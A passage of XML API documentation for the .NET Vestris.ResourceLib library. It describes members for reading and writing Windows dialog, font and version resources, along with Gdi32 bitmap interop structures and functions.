<member name=\"P:Vestris.ResourceLib.DialogTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.#ctor\">\n            <summary>\n            A standard dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog template data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.ToString\">\n            <summary>\n            Returns a string representation of the dialog.\n            </summary>\n            <returns>String in the DIALOG ... format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ControlCount\">\n            <summary>\n            Number of items in this structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.TypeFace\">\n            <summary>\n            The name of the typeface for the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.PointSize\">\n            <summary>\n            Point size of the font to use for the text in the dialog box and its controls.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Caption\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.MenuId\">\n            <summary>\n            Menu resource Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.WindowClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Controls\">\n            <summary>\n            Controls within this dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToString\">\n            <summary>\n            Dialog template representation in a standard text format.\n            </summary>\n            <returns>Multiline string.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToControlString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControl\">\n            <summary>\n            A container for a control within a dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.#ctor\">\n            <summary>\n            A standard dialog control structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.ToString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControlBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CaptionId\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClass\">\n            <summary>\n            Window class of the control.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CreationData\">\n            <summary>\n            Additional creation data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControlBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateUtil\">\n            <summary>\n            Dialog template utility functions.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.ReadResourceId(System.IntPtr,Vestris.ResourceLib.ResourceId@)\">\n            <summary>\n            Read a dialog resource id.       \n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <param name=\"rc\">Resource read.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32,System.UInt32)\">\n            <summary>\n            String representation of the dialog or control styles of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <param name=\"exstyle\">Dialog or control extended style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``1(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of one type.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DirectoryResource`1\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.ResourceType\">\n            <summary>\n            Returns the type of the resource in this group.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.Icons\">\n            <summary>\n            Icons contained in this hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.SaveTo(System.String)\">\n            <summary>\n            Save a hardware-independent icon resource to an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a hardware-independent icon resource from a loaded module.\n            </summary>\n            <param name=\"hModule\">Loaded executable module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the hardware-independent icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a hardware-independent icon resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FixedFileInfo\">\n            <summary>\n            Fixed file information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.#ctor\">\n            <summary>\n            Default Windows fixed file information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Value\">\n            <summary>\n            Fixed file info structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read the fixed file information structure.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write fixed file information to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Size\">\n            <summary>\n            Size of the VS_FIXEDFILEINFO structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.ToString\">\n            <summary>\n            String representation of the fixed file info.\n            </summary>\n            <returns>String representation of the fixed file info.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryEntry\">\n            <summary>\n            A font directory entry.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FontOrdinal\">\n            <summary>\n            Font ordinal.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FaceName\">\n            <summary>\n            Typeface name of the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.DeviceName\">\n            <summary>\n            Specifies the name of the device if this font file is designated for a specific device.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.Font\">\n            <summary>\n            Font information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.#ctor\">\n            <summary>\n            A new font directory entry.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Read(System.IntPtr)\">\n            <summary>\n            Read the font directory entry.\n            </summary>\n            <param name=\"lpRes\">Pointer in memory.</param>\n            <returns>Pointer to the end of the font directory entry.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory entry to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryResource\">\n            <summary>\n            A font directory, RT_FONTDIR resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryResource.Fonts\">\n            <summary>\n            Number of fonts in this directory.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontResource\">\n            <summary>\n            A font, RT_FONT resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font resource to a binary writer.\n            </summary>\n            <param name=\"w\">Binary writer.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32\">\n            <summary>\n            Gdi32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BitmapCompression\">\n            <summary>\n            Bitmap compression options.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RGB\">\n            <summary>\n            An uncompressed format. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE8\">\n            <summary>\n            A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE4\">\n            <summary>\n            An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_BITFIELDS\">\n            <summary>\n            Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_JPEG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_PNG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER\">\n            <summary>\n            A bitmap info header.\n            See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSize\">\n            <summary>\n            Bitmap information size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biWidth\">\n            <summary>\n            Bitmap width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biHeight\">\n            <summary>\n            Bitmap height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biPlanes\">\n            <summary>\n            Number of logical planes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biBitCount\">\n            <summary>\n            Bitmap bitrate.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biCompression\">\n            <summary>\n            Bitmap compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSizeImage\">\n            <summary>\n            Image size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biXPelsPerMeter\">\n            <summary>\n            Horizontal pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biYPelsPerMeter\">\n            <summary>\n            Vertical pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrUsed\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrImportant\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.BitmapCompression\">\n            <summary>\n            Returns the current bitmap compression.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormat\">\n            <summary>\n            Bitmap pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormatString\">\n            <summary>\n            Bitmap pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFO\">\n            <summary>\n            Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). \n            http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiHeader\">\n            <summary>\n            Specifies a bitmap information header structure that contains information about the dimensions of color format.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiColors\">\n            <summary>\n            An array of RGBQUAD. The elements of the array make up the color table.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.RGBQUAD\">\n            <summary>\n            Store colors in a paletised icon (2, 4 or 8 bit).\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbBlue\">\n            <summary>\n            Blue.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbGreen\">\n            <summary>\n            Green.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbRed\">\n            <summary>\n            Red.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER\">\n            <summary>\n            The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB.\n            http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfType\">\n            <summary>\n            The file type; must be BM.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfSize\">\n            <summary>\n            The size, in bytes, of the bitmap file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved1\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved2\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfOffBits\">\n            <summary>\n            The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.GetDIBits(System.IntPtr,System.IntPtr,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Retrieves the bits of the specified compatible bitmap and copies them into a buffer as \n            a DIB using the specified format\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"hbmp\">A handle to the bitmap. This must be a compatible bitmap (DDB).</param>\n            <param name=\"uStartScan\">The first scan line to retrieve.</param>\n            <param name=\"cScanLines\">The number of scan lines to retrieve.</param>\n            <param name=\"lpvBits\">A pointer to a buffer to receive the bitmap data.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data.</param>\n            <param name=\"uUsage\">The format of the bmiColors member of the BITMAPINFO structure.</param>\n            <returns>\n            If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap.\n            If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDIBSection(System.IntPtr,Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32,System.IntPtr@,System.IntPtr,System.UInt32)\">\n            <summary>\n            Create a DIB that applications can write to directly. The function gives you a pointer to the location \n            of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use \n            to create the bitmap, or you can let the system allocate the memory for the bitmap.\n            </summary>\n            <param name=\"hdc\">Handle to a device context.</param>\n            <param name=\"pbmi\">A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors.</param>\n            <param name=\"iUsage\">The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values).</param>\n            <param name=\"ppvBits\">A pointer to a variable that receives a pointer to the location of the DIB bit values.</param>\n            <param name=\"hSection\">A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL.</param>\n            <param name=\"dwOffset\">The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values.\n            If the function fails, the return value is NULL, and *ppvBits is NULL.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.DIBColors\">\n            <summary>\n            Defines how to interpret the values in the color table of a DIB.\n            </summary>\n        </member>\n        <member 